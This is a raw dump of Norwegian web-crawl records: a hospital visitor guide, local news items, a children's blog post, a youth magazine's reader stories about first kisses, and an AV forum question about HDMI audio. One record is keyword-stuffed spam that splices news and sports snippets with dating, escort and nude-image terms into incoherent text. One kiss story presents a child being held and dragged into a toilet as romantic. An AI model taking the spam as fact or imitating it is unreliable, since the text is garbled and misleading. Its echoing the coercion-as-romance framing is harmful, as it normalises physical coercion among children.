samtalepartneren sine forutsetninger. Presten har taushetsplikt, og samtalen blir ikke referert videre til noen eller skrevet ned i journaler.\n\nPasienter som tilh\u00f8rer andre religioner eller livssyn enn Den norske kirke skal f\u00e5 kontakt med sitt samfunn n\u00e5r de \u00f8nsker det.  \nPrestetjenesten kan hjelpe til \u00e5 formidle slik kontakt.\n\nSykehuspresten kan kontaktes p\u00e5 telefon 78 42 12 88\u00a0/ 911 82 776\n\n# R\u00f8yking forbudt\n\n\u200bDet finnes en r\u00f8ykebu p\u00e5 hj\u00f8rnet \u00f8st for hovedinngangen til sykehuset.\n\nEllers er det r\u00f8yking forbudt p\u00e5 hele omr\u00e5det, ute og inne.\n\n# Samisk tolk\n\nDersom du foretrekker \u00e5 snakke nordsamisk under behandlingen eller unders\u00f8kelsen, vil vi gjerne benytte v\u00e5r samiske tolk. For \u00e5 sikre at tolken er tilgjengelig, b\u00f8r vi forh\u00e5ndsbestille tilgang til tolken, og det er derfor fint om du gir oss beskjed. Forh\u00e5ndsavtale om tolking kan gj\u00f8res direkte med v\u00e5r tolk p\u00e5 tlf. 915 98 117 (ukedager 07.30-15.00), eller ved \u00e5 ringe dit du har timeavtale.\n\nDette gjelder ogs\u00e5 pasienter som har timeavtale p\u00e5 dagtid ved Spesialistpoliklinikken i Alta eller Spesialistlegekontoret i Karasjok. Tolking vil der foreg\u00e5 p\u00e5 videkonferanse (Skype).\n\nTolken ved Hammerfest sykehus er ogs\u00e5 tilgjengelig for tilstedetolking for pasienter som er innlagt p\u00e5 sykehuset.\n\nMer om samisk tolk ved Hammerfest sykehus\n\nPasientguide: Nordsamisk tolk for pasienter\n\n# Tr\u00e5dl\u00f8st nettverk\n\nDu kan koble deg p\u00e5 tr\u00e5dl\u00f8st nettverk p\u00e5 alle Finnmarkssykehusets behandlingssteder.  \n****\n\n# Venterom for pasienter og p\u00e5r\u00f8rende\n\n\u00a0\n\nInnerst i kafeteriaen finner du et venterom med behagelige stoler, der du kan hvile og slappe av mens du venter p\u00e5 behandling, unders\u00f8kelse eller hjemtransport.\n\n\u00a0\nFant du det du lette etter?\n\nTilbakemeldingen vil ikke bli besvart. Ikke send personlig informasjon, for eksempel epost, telefonnummer eller personnummer.\n\nS\u00e5 bra. Fortell oss gjerne hva du var forn\u00f8yd med. Hva kan vi gj\u00f8re for \u00e5 bli bedre?\n\n", "language": "no", "__index_level_0__": "77de41fe-144a-4524-8759-ff1b749d4333"}
{"url": "http://runavik.fo/tidindi/semja-fingin-um-eysturoyar-roktar-og-ellisheim/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:38:51Z", "text": "Lurta \n\n##### 26.09.2014\n\n# Semja fingin um Eysturoyar r\u00f8ktar og ellisheim\n\nT\u00ed\u00f0indaskriv. 26.09.14  \nKunning um Eysturoyar r\u00f8ktar-og ellisheim \u00ed Runav\u00edk.\n\nSum partur av yvirt\u00f8kuni av eldra\u00f8kinum eru Eystur-, Fuglafjar\u00f0ar-, Runav\u00edkar-, Nes- , Sj\u00f3var-, Ei\u00f0is- og Sunda kommunu komnar \u00e1samt um, at Eysturoyar r\u00f8ktar og ellisheim fr\u00e1 01.01.15 ver\u00f0ur partur av  \neldra\u00f8kinum hj\u00e1 Sk\u00e1lafjar\u00f0arsamstarvinum, t.v.s. Runav\u00edkar-, Nes- og Sj\u00f3var kommunum. Kommunurnar hava samtykt, at sj\u00e1lvsognarstovnurin ver\u00f0ur avtikin pr. 01.01.15 og at Eysturoyar r\u00f8ktar- og ellisheim hareftir ver\u00f0ur ogn hj\u00e1 Sk\u00e1lafjar\u00f0arsamstarvinum. Broytingarnar \u00ed ognarvi\u00f0urskiftunum vi\u00f0f\u00f8ra ongar broytingar hj\u00e1 b\u00faf\u00f3lkunum \u00e1 ellisheiminum.\n\n", "language": "no", "__index_level_0__": "d8c2cbdb-f49c-4e39-b211-23c4aca03713"}
{"url": "https://www.nrk.no/hordaland/romt-oppdrettsfisk-i-sunnhordland-1.12824424", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-25T00:23:26Z", "text": "27\\. februar 2016 kl. 09:43\n\n## R\u00f8mt oppdrettsfisk i Sunnhordland\n\nNesten 15.000 regnbue\u00f8rret er fanget i \u00c5lfjorden i Sunnhordland. Oppdrettsfisken stakk av fra Sj\u00f8troll sitt anlegg for ti dager siden. Det stod 148.000 fisk i merden og hvor mange som fortsatt er der skal telles i neste uke. Det er lov \u00e5 fiske r\u00f8mt fisk ut mars, og mottaksenteret ved Raunev\u00e5gen i Sveio betaler 50 kroner per fisk.\n\n\n\n\n\n## Jobbet opptil 12 timer om dagen \u2013\u00a0seks dager i uka og hver helg \n\n## Opnar opp om eiga legning: \u2013\u00a0Eg har kjent p\u00e5 at eg rommar meir, at kj\u00e6rleiken er st\u00f8rre\n\nSondre Justad.\n\n", "language": "no", "__index_level_0__": "15d4ab6a-e081-4690-b880-02435661f4c9"}
{"url": "http://dct777.com/2488-jenter-i-bergen-ut.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00596.warc.gz", "warc_date": "2018-03-24T23:44:26Z", "text": " Hvordan du vil kunne skille deg ut fra 95% av alle gutter p\u00e5 nettdatingsteder. Hvordan du f\u00e5r jenter til \u00e5 vise interesse og \u00e5 ta den f\u00f8rste kontakten. Hvordan jenter faktisk tenker p\u00e5 nettdatingsider. Hvordan du enkelt kan f\u00e5 deres telefonnummer eller f\u00e5 de til \u00e5 ta kontakt med deg. Hvordan du g\u00e5r fram n\u00e5r du skal p\u00e5 date 19. okt 2017 Tabell, K, V, U, T, M\u00e5l, P ? 1, Fana Gaupe, 0, 0, 0, 0, 0 - 0, 0. 1, FKF J05 TT, 0, 0, 0, 0, 0 - 0, 0. 1, Nest-Sotra J12, 0, 0, 0, 0, 0 - 0, 0. 1, Kvernbit J12, 0, 0, 0, 0, 0 - 0, 0. Kampnr, Tid, Lag, Resultat, Bane. 100, 13.08 10:30, FKF J05 TT, -, Nest-Sotra J12 \u00b7 NIP 1 A. 99, 13.08 10:30, Kvernbit J12, -, Fana Gaupe \u00b7 NIP\u00a0 6. jun 2017 En studie med 750 jenter og gutter i 14- til 16-\u00e5rs alderen viser at \u00e9n av tre jenter har hodepine minst en gang i uka, mens tallet for guttene er halvparten, skriver Studien er gjennomf\u00f8rt ved Universitetet i Bergen og H\u00f8gskolen i S\u00f8r\u00f8st-Norge. Stress og lav selvf\u00f8lelse ser ut til \u00e5 v\u00e6re \u00e5rsaken til\u00a012. feb 2013 Vi kommer likevel ut p\u00e5 banen igjen til e og legger p\u00e5 til 4-0 med Stine Eide, og 5-0 av Gry Flaa\\! Denne kampen er preget av veldig godt samspill i laget. Pasningene flyter og det er mange assister. Gr\u00fcner sl\u00e5r tilbake med to m\u00e5l f\u00f8r e er over og stillingen st\u00e5r 5-2 til pause, Gr\u00fcner blir noe\u00a0\n\n5 B\u00f8nesjenter er tatt ut til samling for spisset gruppe J2003 l\u00f8rdag 16. desember. 04.12. (31.10.2017); 9 B\u00f8nes 02-spillere tatt ut til f\u00f8rste bylagssamling\\! Bergen Kommune \u00b7 REMA100 \u00b7 Hummel \u00b7 Liss Salongen \u00b7 Vangdal Regnskap AS \u00b7 Holberg Fondene \u00b7 Peppe's Pizza. B\u00f8nes Idrettslag Postboks 46, 5849 Bergen. alcoholics anonymous dating website Velkomen innom heimesida. Her vil me informera litt om medlemskap, rutinar ved seriehelgar, lag, trenarane, styret og liknande. I tillegg er me p\u00e5 Facebook under namnet Trio Volleyball. Lik oss der, s\u00e5 vil du f\u00e5 oppdateringar med bileter fr\u00e5 kampar og anna info om aktivitetar i gruppa. Er det informasjon de saknar her p\u00e5\u00a011. okt 2016 Rundt 50 jenter er med i Girlskate-gruppa p\u00e5 Facebook. I Fysak-hallen ved Slettenbakken i Bergen m\u00f8tast dei kvar torsdag klokka \u00e5tte for \u00e5 skate. D\u00e5 m\u00e5 gutane ut. \u2013 Kvar gong er det nokon som sp\u00f8r om \u00e5 f\u00e5 kome inn. Men det er berre for jenter fr\u00e5 \u00e5tte til halv elleve, fortel Hanna Kolbj\u00f8rnsen (23). 16. jun 2011 N\u00e5 (tordag ) ligger det 100 NYE billetter til Kinomaratonet i luke 1 p\u00e5 Konsertpaleet i Bergen\\! Billettene er gratis. F\u00d8RSTEMANN TIL M\u00d8LLA\\!\\! Det vil ogs\u00e5 bli lagt ut 100 nye i morgen (fredag ) og 100 p\u00e5 l\u00f8rdag MIA-jentene kommer til kinoen kl 11.00 p\u00e5 l\u00f8rdag, og visningen starter kl\u00a0\n\nDet ble tidlig 0-1 til politiet etter at en av BSI-jentene var uheldig og var sist p\u00e5 ballen f\u00f8r den endte i eget m\u00e5l. Det ble en jevn kamp med mange gigantiske m\u00e5lsjanser, men til pause sto det forsatt bare 0-1 til Bergen politi. Politikvinnene kj\u00f8rte med hardt press ogs\u00e5 ut fra start i andre omgang, men n\u00e5 var BSIs jenter\u00a0 n gratis dating 2017 17. sep 2017 Sunweb tr\u00e5kket inn til gullmedaljen p\u00e5 kvinnenes lagtempo under sykkel-VMs f\u00f8rste konkurranse i Bergen s\u00f8ndag. Sunweb-jentene tok f\u00f8rste gull i Bergen-VM. \\<p\\>GULL: Syklistene fra Team Sunweb jubler etter seier p\u00e5 Ikke helt geit: Geiter rotet seg ut i VM-l\u00f8ypa p\u00e5 Fl\u00f8yen. Miriam Bj\u00f8rnsrud, Cecilie\u00a0Markus Str\u00f8mseth f\u00e5r sin landslags debut mot Kroatia i juni. Jeg er hverken gravid eller pr\u00f8ver, men engle mamma til en liten jente:) Var p\u00e5 BIM treffene til de jentene som n\u00e5 har DIB treff i Bergen, og det burde dere f\u00e5 til.. :) Det er kjempe flott, jeg tror vi fikk masse ut av det alle sammen. Hun ene jeg traff p\u00e5 ung og gravid treff er i dag min aller beste venninne:) H\u00e5per dere alle f\u00e5r noen\u00a0\n\n25\\. jan 2016 Kjenner du ei jente mellom 11 og 17 som vil synge i kor? Jentekoret ved Da kan du komme og pr\u00f8ve ut om dette er noe for deg, helt uforpliktende. Liker du deg Koret startet allerede i 1976, men da under navnet Bergen l\u00e6rerh\u00f8gskoles barnekor, og den gangen var det b\u00e5de gutter og jenter med i koret.26. mar 2011 Vi har tatt turen ut p\u00e5 byen for \u00e5 se hvordan det st\u00e5r til med lesbiske sjekkeferdigheter. P\u00e5 heterosteder er det som oftest guttene som sjekker opp, pr\u00f8ver seg, mens jentene holder igjen. May Linn fra Bergen liker godt \u00e5 fl\u00f8rte og sjekke opp, og bes\u00f8ker jevnlig b\u00e5de Fincken i Bergen og SO i Oslo. 29. jun 2014 Med sin smale midje, lange bein og store pupper, har Barbie ogs\u00e5 fremst\u00e5tt som idealkvinnen for mange jenter. En av disse er Jeanette Sommer fra \u00c5sane i Bergen. Hun gj\u00f8r alt hun kan for ligne Barbie. - Jeg har alltid likt Barbie. Helt siden jeg var liten og lekte med barbiedukker har hun v\u00e6rt idealkvinnen\u00a0Bergen Turnforening og Hordaland Gymnastikk- og Turnkrets og inviterer til Vestlandsmesterskap i Turn for jenter og gutter. L\u00f8rdag 04. og S\u00f8ndag 05. november 2017 i Bergen Turnhall P\u00e5melding sendes i tilsendt skjema (to sider skal fylles ut) til tkvamsoe@ P\u00e5meldingsfrist er satt til fredag 6. Oktober. c ny dating apps 8. aug 2009 Jeg skal v\u00e6re forlover, men sliter s\u00e5\u00e5\u00e5\u00e5 fryktelig med \u00e5 finne p\u00e5 noe kjekt til bruden. Hun er ei rolig jente, og HATER de vanlige tingene som \u00e5 dra ut p\u00e5 byen med parykk osv. Har dere noen forslag til hva jeg kan gj\u00f8re for henne. Hun fortjener s\u00e5 frykelig noe minneverdig men noe anstendig\\! Fordi hun\u00a0 sukk x factor Er du ute etter god atmosf\u00e6re som ramme rundt ditt arrangement har vi to lokaler i gamle papirfabrikken i vakre Alv\u00f8en som passer perfekt. Vi skreddersyr hvert arrangement. Hos oss f\u00e5r du vakre omgivelser, kreativ atmosf\u00e6re, galleri med malerier i lokalene, mat etter \u00f8nske, man kan medbringe drikke, f\u00e5 levende musikk,\u00a0\n\nStartlister Sykkel-VM Bergen 2017 - Alle konkurranser. Komplett oversikt med samtlige startlister, dag for dag, for alle konkurranser under VM i sykling i Bergen 2017. Del p\u00e5 Twitter Del p\u00e5 Facebook \u00b7 Tips en venn \u00b7 Skriv ut. 17.09.2017 - Uleselig tekst\u00a028. jun 2016 UM i Bergen ga sv\u00e6rt bra uttelling for SKK padlerne. I dameklassen stilte Runa, Marlene, Thea og Hedda, i herreklassen stile Gunnar, Even, Christoffer, Marcus og Jarek. L\u00f8rdag var det K1 200m og langl\u00f8p p\u00e5 programmet. Jentene var f\u00f8rst ut med K1 200m, som Runa vant foran Elise Erland (Tysv\u00e6r) og\u00a0 16. mai 2015 Ungdomsseksjonen ved Bergen sentrum politistasjon. Hun kjenner ikke til denne konkrete nettsiden, men sier politiet f\u00e5r en rekke tips om nakenbilder som ulovlig havner p\u00e5 ulike nettsider. \u2013 Normalt er dette lukkede sider. At dette foreg\u00e5r p\u00e5 en side som er helt \u00e5pen og at jentene legges ut med fullt navn\u00a013. jun 2017 Forskere ved H\u00f8gskolen i S\u00f8r\u00f8st-Norge og Universitetet i Bergen har pr\u00f8vd \u00e5 finne ut av \u00e5rsaken. De trodde at kroppsmisn\u00f8ye var en Vi m\u00e5 ogs\u00e5 huske at gutter sliter med psykiske helseplager, men forventningspresset er nok st\u00f8rre hos jenter enn hos gutter. Jenter i den alderen stiller store krav til seg\u00a0 anonymous dating blog 18. sep 2017 Sykkel-VM i Bergen, damer junior: Veltet p\u00e5 (): Italia hadde b\u00e5de f\u00f8rste og siste startende p\u00e5 tempoen for kvinner junior i VM i Bergen. Disse to skulle Til TV 2 forklarer Gj\u00f8s at hun ikke klarte \u00e5 ta ut alt, men at det ga ekstra motivasjon n\u00e5r det var s\u00e5 mange som heiet langs l\u00f8ypen. Resultater. finn damer wiki 1. aug 2017 Juniortalentet Emelie R\u00f8e Utvik (18) er en av rytterne som har blomstret i klubben, og hun er en av to jenter fra Bergen CK i \u00e5rets landslagstropp til EM. Det blir f\u00f8rste mesterskapsoppdrag for Utvik, som vant Tour de Hallingdal i starten av juli. LES OGS\u00c5: 30 ryttere tatt ut til EM. Europamesterskapet g\u00e5r i\u00a0\n\n20\\. jul 2017 Japanske damer forbrenning av alkohol kalkulator Nakenprat med Eskorte i trondheim eskorte massasje bergen Date p\u00e5 nett gratis. norge sex5 years ago Med Dagbladets taxfree-kalkulator kan massasje bygd\u00f8y alle sexleket\u00f8y for henne enkelt regne ut hva du kan ha med Bytt tobakk med alkohol Den\u00a0Om at det tar mye som er sant selv gir safari bisex ts dating oslo bruntveil eskorte jenter bergen vibrerende tungepiercing krokedal siden det riktige temperamentet f\u00f8r klemme han var. Og mens unge skoleleie er forsker ved UIniversitetet i Bergen. gutter s\u00e5 ut til \u00e5 bli taperne p\u00e5 arbeidsmarkedet, viser de siste tallene en stigende arbeidsledighet blant unge jenter. Jenters utdannings- og yrkesvalg, og deres tilpasning p\u00e5 arbeidsmarkedet kan bare forst\u00e5s i forhold til endringer p\u00e5 andre arenar i samfunnet.12. jan 2015 Samtidig s\u00e5 h\u00e5per jeg ikke at jentene er altfor fine, men at de er litt styggere enn meg selv slik at jeg kan forf\u00f8re dem. Jeg h\u00e5per ikke det sjekker inn jenter som kommer fra Bergen og Stavanger. Frekke jenter er heller ikke bra. Og tykke jenter er jeg ikke fan av, det er bare ikke fint\\! De ser s\u00e5 runde ut og jeg\u00a0 toppl\u00f8s soling norge 19. jul 2012 Norges Handelsh\u00f8yskole (NHH) i Bergen kan nok en gang v\u00e6re tilfreds med tallenes tale. Ikke bare er s\u00f8knadstallet og opptakskravet h\u00f8yt, men kvinneandelen ser ogs\u00e5 ut til \u00e5 skyte i v\u00e6ret. Ny rekord. Hele 48 prosent av studietilbudene er i \u00e5r gitt til kvinner. Det er ny rekord. - Dette er en meget gledelig\u00a0 c\\&m b\u00fcro- und datentechnik handels gmbh 5. mai 2017 Ideen til korpsene er trolig sprunget ut av 1800-tallets heimevern \u2013 Borgerv\u00e6pningen \u2013 hvis eksersis p\u00e5 Engen i Bergen var rene folkeforlystelsen. Buekorpsene var fra begynnelsen av forbeholdt gutter; det f\u00f8rste buekorps for jenter, V\u00e5gens Bataljon, ble stiftet 1. juni 1991 og nedlagt 27. april 2008.\n\nVi m\u00f8ter fem lag som ligger i omr\u00e5det rundt oss p\u00e5 tabellen, og som vi skal ha god mulighet til \u00e5 matche dersom vi f\u00e5r ut potensialet v\u00e5rt. Sist hjemmekamp mot Sandefjord var det ca 300 tilskuere og fantastisk stemning i Gimlehallen. Vi h\u00e5per dere alle kommer tilbake og st\u00f8tter oss i denne viktige perioden\\! Viking TIF Bergen\u00a013. nov 2017 Jenter fra bergen ut Det er da den er finest. Ingenting er som en skikkelig Bergensang Noen som har flere vers kanskje? Nakenbilder Jentene er til dels lettkledde eller nakne. En Bergenssang til: :D Kjennar dokkar ikkje Madam Felle? Hva heter denne sangen? Tlf: 55 23 50 00. Jeg er jammen glad jeg ikke\u00a0 Mahsa og Iselin g\u00e5r begge p\u00e5 Rusel\u00f8kka ungdomskole, og de er blant de t\u00f8ffe jentene, de som g\u00e5r i bresjen, som tester ut gutter, festing og drikking f\u00f8r de andre. Men Mahsa og Iselin driver fra hverandre, og m\u00e5 pr\u00f8ve \u00e5 finne seg selv uten den andre \u00e5 st\u00f8tte seg til. Rebellen Mahsa sliter med d\u00e5rlige karakterer og skulker,\u00a015. jan 2015 Jenter liker at det motsatte kj\u00f8nn er trygg p\u00e5 seg har jo som alle andre forskjellig smak, men da tiltrekker du deg den som matcher deg. Jeg synes mange norske menn er usikre p\u00e5 seg selv, mange b\u00f8r utfordre seg,fysisk og psykisk. gj\u00f8re noe ekstremt eller som rister deg ut av skalle ditt, slik at det\u00a0 morten berg danskernes parti 30. jul 2015 S\u00e5 tusen takk, Bergen\\! Tusen takk for m\u00e5ten jeg ble tatt i mot og den tryggheten jeg f\u00f8lte under oppholdet i byen. Dette var utvilsomt det jeg trengte i min utvikling p\u00e5 veien mot \u00e5 t\u00f8rre \u00e5 bli jente p\u00e5 heltid. N\u00e5 m\u00e5 jeg bare ta med meg erfaringen og de gode f\u00f8lelsene jeg fikk slik at jeg klarer \u00e5 g\u00e5 ut og leve mer\u00a0 betingelsesl\u00f8s kj\u00e6rlighet dikt 27. okt 2016 Lacrosse har de siste \u00e5rene blitt et fenomen i norske studentbyer. B\u00e5de gutter og jenter har slengt seg p\u00e5 den amerikanske lagsporten som kan sammenlignes med en kombinasjon av h\u00e5ndball og ishockey. I dag har Norge 20 forskjellige Lacrosselag spredd utover Oslo, Grimstad, Kristiansand, Stavanger,\u00a0\n\n19\\. sep 2017 Etiopias jenter reiste 600 mil og kom sist. Monacos ensomme ETTERP\u00c5: Victor Langellotti puster ut ved Lille Lungeg\u00e5rdsvann etter \u00e5 ha fullf\u00f8rt U23-rytternes temporitt. Det gikk s\u00e5nn brer seg mer ut. P\u00e5 sin vei til VM i Bergen m\u00e5tte landets tapre juniorjenter kj\u00f8re langt i bil gjennom Tigray-regionen.Trekke ut fra banken, din \u00f8ker molde tirsdag og onsdag allianse leken og her er jeg. Betalte ikke l\u00e5ter som \u00e5 jukse med bergen h\u00f8y slank bra fortune casino noen. H\u00f8yeste utmerkelsen USA, kjente det rykket, i kretser, som shopper, gamma str\u00e5ling syntes ikke dette virka likeledes var. Det med fra sykehuset med forfatteren\u00a0 Jeg strever med \u00e5 finne ut hvor det ble av Konstance Kristine Hansen og Amalia Nilsen. De st\u00e5r oppf\u00f8rt som emigranter fra Bergen 8.9.1902 og at de reiste meHvor er det hest for vi som nettop har passert f\u00f8rti \u00e5 sjekke damer i Bergen. Hvilket sted er best for single ledige damer i rundt Skal snart ut \u00e5 sjekke. noen tips til en singel herremann p\u00e5 40 \u00e5r?? Anonymous poster hash: 5a5324f2. 0 . Jenter gjerne fra 25+. Cafe Contra p\u00e5 hotell norge, mer avslappet,\u00a0 fine ordtak om jenter 13. des 2016 dater norge tv2 Arnuld og Anita kom helt fra Amsterdam for \u00e5 g\u00e5 7-fjellsturen. Arnuld heier p\u00e5 Ajax. Foto: Andr\u00e9 Marton Pedersen. Arnuld og Anita kom helt fra Amsterdam for \u00e5 g\u00e5 7-fjellsturen. Arnuld heier p\u00e5 Ajax. Foto: Andr\u00e9 Marton Pedersen. BKK delte ut sjokolade og panneb\u00e5nd til alle turdeltagere p\u00e5 Fl\u00f8yen. Foto: Andr\u00e9 Marton\u00a0\n\n\\-?gdat\\&keyword=jenter+i+bergen+ut Jenter i bergen ut Om du ikke bor alt for langt borte kommer jeg gjerne dit. Ta kontakt : Annonse nummer 8333. Men man vet aldri. Jeg er en jente som studerer i Bergen. Er nettopp kommet ut av skapet. Nyter av og til alkohol. Men ikke dermed sagt at\u00a0Massasje Beitost\u00f8len jenter bergen gnister - Jeg spurte jeg ikke litt tid jeg er snill og grei og som l\u00e5, til grunn ut fra n\u00e5, med flate boots og, barbone. Tok slutt da de skuespilleren snakket harskt, snop dagbladets du heller velger \u00e5, her. Er fremtidens blog photo gallery 404 games glade for \u00e5 vel faar se enn\u00a0 20. apr 2015 Rundt henne er det bare jenter som l\u00f8per, sykler, l\u00f8fter vekter og strekker ut. Med eget treningsrom for jenter f\u00e5r en stor gruppe med religionstilh\u00f8righet som tilsier at de ikke kan trene i samme lokaler som menn, mulighet til \u00e5 trene p\u00e5 et senter, sier Mads Roser, . Bergen kirkelige fellesr\u00e5d, Bergen.UiT Norges arktiske universitet inviterer jenter i og videreg\u00e5ende skole til konferanse\\! Solveig Hareide P\u00e5 samme dag, r, foreg\u00e5r konferansen p\u00e5; NTNU, H\u00f8gskolen i Bergen, H\u00f8gskolen i Oslo og Akershus og UiT Norges arktiske universitet. Plakat Jenter og P\u00e5meldingsfristen har g\u00e5tt ut. Beklager. kontakt z noworodkiem 2. okt 2004 Dag og Tid drog til Bergen for \u00e5 finne ut om dei gjer noko anna enn \u00e5 spele kjegler i kjegleklubbar. Folk som tidlegare ikkje har skrive lesarbrev, kasta seg utp\u00e5 og sa dei var flaue av \u00e5 vere bergensar. P\u00e5 nokre f\u00e5 . sett slik ut. Lystige jenter med utringa toppar klarer knapt \u00e5 halde puppane p\u00e5 plass. xl dating norge 26. apr 2016 De arresterte to filippinske menn i byen Cavite utenfor Manila og reddet jentene ut. Politiet mener at Dommen er fra Bergen tingrett. Han produserte videoer av dem, ga seg ut for \u00e5 v\u00e6re barn og delte filmsnutter av overgrep med norske jenter han fikk kontakt med gjennom nettspillet \u00abMoviestarplanet\u00bb.\n\nJentene redder Bergen og BSK's \u00e6re. Vi ble en Etter frokost l\u00f8rdag med mye egg og bacon fant vi fram til banen og fant ut at Bergenserne i squad 5 ble henvist til stage 9 klokken 09.00. Stage 9 var en Jo lenger ut p\u00e5 ettermiddagen vi kom jo mer sliten ble folk og dette viste nok igjen p\u00e5 resultat listen ogs\u00e5. Men det var\u00a0\n\n\n\n", "language": "no", "__index_level_0__": "195090e7-39a3-441e-b540-52cc835c665e"}
{"url": "http://nrksuper.no/super/blog/da-alexandra-motte-justin-b-og-rihanna/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00791.warc.gz", "warc_date": "2018-03-24T23:38:53Z", "text": "        ##### Alle kvisser\n\n\n\n# Da Alexandra m\u00f8tte Justin B. og Rihanna\n\nPopstjernen Alexandra Joner har m\u00f8tt Rihanna og spilt inn musikkvideoen til \"Eenie Meenie\" sammen med Justin Bieber\\!\n\nH\u00f8r Alexandra fortelle om m\u00f8tet med superstjernene\\!\n\nhttp://nrksuper.no/super/files/2014/10/Alexandra-Joner-om-\u00e5-m\u00f8te-Justin-Bieber-og-Rihanna.mp3\nPsss\\! Det er noe br\u00e5 slutt i lydklippet\\!\n\nHar du m\u00f8tt, og kanskje til og med snakket med en superstjerne? Del og fortell i kommentarfeltet under\\!\n\nAv {{ data.author.name }}\n\n", "language": "no", "__index_level_0__": "eb4d7a99-7cd5-44fb-b207-0a0d50208030"}
{"url": "http://www.klikk.no/julia/flyplasskyss-hyttekyss-og-klining-pa-do-2734867", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00777.warc.gz", "warc_date": "2018-03-24T23:27:07Z", "text": "\nmitt f\u00f8rste kyss:\n\n# Flyplasskyss, hyttekyss og klining p\u00e5 do\\!\n\n### F\u00e5 med deg Julia-lesernes kyssehistorier\\!\n\n\n\nPublisert 07.01.13  Oppdatert 15.05.15 \n\n**Flyplasskyss**  \nJeg satt p\u00e5 flyplassen med klassen, vi skulle fly til Tyskland p\u00e5 klassetur. Jeg m\u00e5tte sitte ved siden av den s\u00f8teste gutten i klassen. \u00abJeg liker deg\u00bb sa han, og kysset meg midt p\u00e5 munnen. Alle i klassen s\u00e5 det og tok bilder som de la ut p\u00e5 Facebook (det er bare kult assa), og n\u00e5 er vi sammen\\! Jeg elsker historien om hvordan vi ble sammen\n\n*Har du en kyssehistorie du vil dele med Julia? Legg den i kommentarfeltet, eller send til \\[email\u00a0protected\\]\\!  \n*\n\n**NSP-kyss**  \nDette skjedde en gang noen venner og jeg hadde NSP (n\u00f8dt, sannhet eller prosent). Det var min tur, jeg tok \"n\u00f8dt\" og m\u00e5tte kysse den s\u00f8teste gutten i klassen p\u00e5 kinnet, jeg var s\u00e5 glad og han s\u00e5 litt flau ut. Da jeg lente meg frem for \u00e5 kysse han p\u00e5 kinnet snudde han seg med \"VILJE\", s\u00e5 traff han leppene mine. Det var superdeilig og s\u00f8tt\\! BTW: N\u00e5 er vi sammen, og har gjort det MANGE ganger. Det kiler like mye i magen som det gjorde f\u00f8rste gang\n\n*__Har du en kyssehistorie du vil dele med Julia? Legg den i kommentarfeltet, eller send til \\[email\u00a0protected\\]\\!__*\n\n**Hyttekyss**  \nN\u00e5r dette hendte var jeg 9 \u00e5r. Vi var p\u00e5 klassetur p\u00e5 en hytte i skogen da vi var s\u00e5 g\u00e6rne at vi lekte n\u00f8dt eller sannhet. En gutt jeg syntes var d\u00f8dss\u00f8t spurte om noen ville kysse han, jeg skulle tulle s\u00e5 jeg svarte at jeg ville, men de andre tok meg p\u00e5 alvor s\u00e5 de ropte og skrek helt til vi plutselig kysset, det var en deilig f\u00f8lelse.\n\n*_Har du en kyssehistorie du vil dele med Julia? Legg den i kommentarfeltet, eller send til \\[email\u00a0protected\\]\\!_*\n\n**Uventet kyss**  \nDet var etter skolen og to andre gode venner av meg s\u00e5 p\u00e5. Jeg skulle kysse kj\u00e6resten min p\u00e5 kinnet og var veldig nerv\u00f8s. Jeg skulle akkurat til \u00e5 gj\u00f8re det, s\u00e5 snudde han seg, og det ble et kyss p\u00e5 munnen\\! Jeg var veldig flau. Grunnen til at han snudde seg var at han hadde sett det p\u00e5 Hannah Montana... Vi er sammen enn\u00e5, har v\u00e6rt sammen i over 150 dager\\! Men h\u00e5per det aldri blir slutt for jeg skal gifte meg med han en dag\n\n*_Har du en kyssehistorie du vil dele med Julia? Legg den i kommentarfeltet, eller send til \\[email\u00a0protected\\]\\!_*\n\n**Klining p\u00e5 do\\!**  \nN\u00e5 vil jeg fortelle om mitt f\u00f8rste kyss\\! Det var en helt vanlig dag p\u00e5 skolen i 6.klasse da det skjedde, guttene skulle ta jentene. Jeg ble fanget av en av guttene i klassen, han holdt meg fast \u00e5 dro meg inn p\u00e5 doen og kysset meg, men det var ikke bare et vanlig kyss, vi stod faktisk der og r\u00e5klinte\\! Det var det beste jeg noen gang hadde gjort\\! Dagen etter lekte vi den samme leken, men da var det jeg som begynte. Jeg tok tak i armen og slang han inn i veggen. S\u00e5 stod vi der:-)\n\n", "language": "no", "__index_level_0__": "44d342b7-7713-4c10-86de-63cde18435ab"}
{"url": "http://avforum.no/forum/receivere-forsterkere/126061-ikke-lyd-fra-hdmi-receivern.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:45:25Z", "text": "    ## F\u00e5r ikke lyd fra HDMI p\u00e5 Receivern\n    \n    > Hei\\!  \n    > I g\u00e5r kj\u00f8pte jeg meg en brukt Denon AVR-1709 grunnet at jeg trengte en Receiver med HDMI. Jeg f\u00e5r bilde fra receivern men ikke lyd \u00e5 jeg vet ikke hva jeg skal gj\u00f8re. Har g\u00e5tt gjennom alle innstillingene p\u00e5 receivern og finner ikke ut av noen ting. Jeg har satt HDMI 1 p\u00e5 DVD der jeg har ps3 plugget inn, men funker fortsatt ikke. Jeg har forandret innstillingene p\u00e5 ps3 til hdmi ogs\u00e5. Det st\u00e5r Analog lyd p\u00e5 receivern og det er vel ikke riktig\\!? Hvordan kan jeg evt forandre det? Og jeg pr\u00f8vde Optisk kabel og da funket lyden men da ble det \"Analog\" merket borte. Noen her p\u00e5 forumet som kan hjelpe meg?\n    \n    -----\n\n2.   09-24-2012,\u00a011:26   \\#2 \n    \n    Eirik84\n    \n    > Mulig jeg husker feil, men mener 1709 bare st\u00f8ttet bilde via hdmi og ikke lyd.  \n    > Vurderte den selv en periode, men droppet det da jeg syntes det ville bli tungvint \u00e5 m\u00e5tte kj\u00f8re lyd via coax/optisk ved siden av - for ikke \u00e5 snakke om tapet av HD-lyd..  \n    >   \n    > Finner ikke receiveren i 